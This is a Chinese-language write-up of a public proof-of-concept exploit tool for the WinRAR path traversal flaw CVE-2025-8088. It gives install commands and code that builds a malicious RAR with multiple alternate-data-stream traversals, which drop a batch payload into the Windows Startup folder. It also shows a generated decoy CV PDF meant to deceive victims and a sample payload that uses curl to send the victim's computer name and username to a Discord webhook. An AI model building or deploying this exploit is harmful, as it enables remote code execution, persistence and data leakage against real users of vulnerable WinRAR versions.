CVE-2025-8088 WinRAR漏洞利用:通过恶意RAR实现任意代码执行

0 阅读4分钟

CVE-2025-8088 WinRAR Exploit

一个针对WinRAR漏洞(CVE-2025-8088)的概念验证(PoC)利用工具,该漏洞影响7.12及以下版本。此工具能创建一个恶意的RAR压缩包,该压缩包在替代数据流(ADS)中嵌入了具有路径遍历功能的Payload,可能导致任意代码执行。

许多现有工具的问题在于它们没有嵌入多个ADS流,这需要依赖运气(拥有正确的路径遍历)或确切知道用户名/解压目录。

功能特性

  • 自动生成诱饵文档:动态创建专业的PDF文档(简历或渗透测试报告),增强欺骗性。
  • 多重路径遍历:嵌入多个具有不同路径遍历深度的替代数据流(ADS),显著提高在不同目标目录结构下的利用成功率。
  • 精确的RAR头部操纵:直接修改RAR5归档文件的结构,以触发WinRAR的路径遍历漏洞。
  • 灵活的Payload投递:设计将Payload写入Windows启动文件夹(Startup),实现系统重启后自动执行。Payload内容易于自定义。
  • 清晰的执行流程:整个利用过程从文档创建、流嵌入到最终生成恶意压缩包,步骤明确,便于理解和调试。

安装指南

  1. 克隆仓库

    git clone https://github.com/pentestfunctions/best-CVE-2025-8088.git
    cd best-CVE-2025-8088
    
  2. 安装Python依赖

    • 本工具需要Python 3.x环境。
    • 核心依赖库为reportlab,用于生成PDF诱饵文档。
    pip install reportlab
    
  3. 系统要求

    • 目标环境:Windows操作系统。
    • 目标软件:安装有受影响版本(≤7.12)的WinRAR。

使用说明

基础使用

运行脚本,将生成一个名为exploit.rar的恶意压缩文件。

python CVE-2025-8088.py

Payload自定义

脚本中的PAYLOAD变量可以修改,以适应不同的攻击场景。例如,修改为调用Discord Webhook进行通知:

# 在脚本中替换 PAYLOAD 变量:
PAYLOAD = """@echo off
curl -H "Content-Type: application/json" -X POST -d "{\"content\": \"Extracted on %COMPUTERNAME% by %USERNAME%\"}" YOUR_DISCORD_WEBHOOK_URL
pause
"""

请将YOUR_DISCORD_WEBHOOK_URL替换为实际的Webhook URL。

执行流程

  1. 受害者使用易受攻击的WinRAR(≤7.12)解压生成的RAR文件。
  2. 利用路径遍历漏洞,Payload被写入启动文件夹: AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
  3. 当目标系统下次重启时,Payload将自动执行。

核心代码

以下是项目中的部分核心代码及其注释,展示了恶意RAR的构建机制。

代码段1:配置与初始化

# 配置参数
NUM_DEPTHS = 10  # 要创建的不同遍历深度数量
RELATIVE_DROP_PATH = "AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.bat" # Payload的目标释放路径
PAYLOAD = "@echo off\necho Payload executed!\npause\n" # 默认的Payload内容
PLACEHOLDER_LEN = 200 # 流名称占位符长度
OUT_RAR = "exploit.rar" # 输出的恶意RAR文件名

# 生成长流名称的函数
def generate_long_stream_names(count, length):
    """生成用于占位的长流名称"""
    return [f"stream_{i:02d}" + "x" * (length - len(f"stream_{i:02d}")) for i in range(count)]

# 生成长流名称列表
ADS_STREAMS = generate_long_stream_names(NUM_DEPTHS, PLACEHOLDER_LEN)

# 在RAR头部使用的路径遍历模式
PATH_TRAVERSALS = [
    "../",
    "../../",
    "../../../",
    # ... 更多层级,直到10层
    "../../../../../../../../../",
    "../../../../../../../../../../"
]

# RAR5格式常量
RAR5_SIG = b"Rar!\x1A\x07\x01\x00" # RAR5文件签名
HFL_EXTRA = 0x0001 # 头部标志:额外字段
HFL_DATA = 0x0002  # 头部标志:数据字段

这段代码定义了攻击的核心参数,包括Payload路径、要嵌入的ADS流数量(10个),以及不同层级的路径遍历字符串。generate_long_stream_names函数用于创建长文件名,这可能是绕过某些简单检查或填充结构的一部分。

代码段2:创建诱饵PDF文档

from reportlab.lib.pagesizes import letter
from reportlab.platypus import SimpleDocTemplate, Paragraph

def create_professional_cv(file_type="pdf") -> Path:
    """为Alicia Sheree创建一份专业的简历,包含增强的格式和真实内容"""
    
    filename = f"Alicia_Sheree_CV_{datetime.now().year}.pdf"
    fake_doc = Path(filename)

    if file_type != "pdf":
        raise ValueError("Currently only PDF output is supported.")
    
    try:
        # 使用ReportLab创建PDF文档
        doc = SimpleDocTemplate(str(fake_doc), pagesize=letter, rightMargin=20, leftMargin=20, topMargin=20, bottomMargin=20)
        # ... (后续会构建简历内容,如标题、段落、表格等)
        styles = getSampleStyleSheet()
        # 构建文档流(story)并生成PDF
        # doc.build(story)
        return fake_doc
    except Exception as e:
        print(f"[-] Error creating decoy document: {e}")
        sys.exit(1)

这段代码负责生成一个看似合法的PDF诱饵文件(一份名为“Alicia Sheree”的简历)。使用ReportLab库可以精细控制PDF的样式和内容,使文件看起来非常真实,从而增加受害者打开它的可能性。这是社会工程学攻击中的重要一环。 6HFtX5dABrKlqXeO5PUv/zfeQWH4nVcVRnL7s7k9lH8bkwagtRgcbQrhPll1k7Zy